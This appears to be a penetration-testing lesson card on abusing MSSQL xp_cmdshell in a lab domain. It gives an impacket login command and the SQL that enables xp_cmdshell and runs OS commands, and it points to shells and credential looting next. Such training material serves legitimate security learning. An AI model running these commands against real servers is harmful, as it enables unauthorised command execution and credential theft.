Academy Node
MSSQL xp_cmdshell
xp_cmdshell allows OS command execution from MSSQL when enabled and permitted.
Intermediate100 XPMSSQL
Why it matters
It can convert SQL admin into a shell.
How to identify it
- sysadmin role
- xp_cmdshell enabled or enable-able
BloodHound indicators
- SQLAdmin
Impacket commands
impacket-mssqlclient xutslabs.local/USER:PASS@192.168.184.150 -windows-authLinux commands
EXEC sp_configure 'show advanced options',1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;EXEC xp_cmdshell 'whoami';Expected output
- whoami output from SQL service account
Success looks like
- Command execution
Failure looks like
- Not sysadmin
- xp_cmdshell blocked
Troubleshooting
- Use simple whoami first
- Check egress
Common mistakes
- Not checking service account privileges
- No listener for reverse shell
Alternative attacks
- Linked servers
- CLR assemblies
What to try next
- Get shell
- Check SeImpersonate
- Loot SQL creds
Recommended next lessons
ASREP Roast
ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.
Kerberoast
Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.
GenericWrite
GenericWrite means you can modify certain attributes on the target AD object.
GenericAll
GenericAll is effectively full control over the target AD object.